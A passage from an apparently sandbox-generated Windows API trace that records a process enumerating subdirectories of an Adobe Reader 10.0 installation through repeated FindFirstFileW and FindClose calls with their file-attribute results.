ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.920] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.920] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.921] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.921] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.923] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.923] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.924] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.924] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.925] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.925] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.927] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.928] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.929] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.929] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.931] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.932] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.934] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.935] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.938] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.938] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.940] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.941] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.941] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.941] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.942] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.943] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.945] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.945] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.948] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.948] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.948] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.948] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.950] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.956] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.957] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.958] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.958] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.959] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.959] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.959] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.960] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.960] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.960] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.961] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.961] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.962] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.962] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.963] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.963] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.964] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.964] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.965] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.965] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.966] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.966] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.966] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.966] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.969] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.970] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.970] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.970] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.971] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.971] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.972] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.976] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.977] FindClose (in: hFindFile=0x718718 | out: hFindFile=0x718718) returned 1 [0029.977] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0029.979] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.981] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.994] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.995] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.999] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.999] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0030.000] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0030.000] FindFirstFileW (in: lpFileName="C:\\Program Files 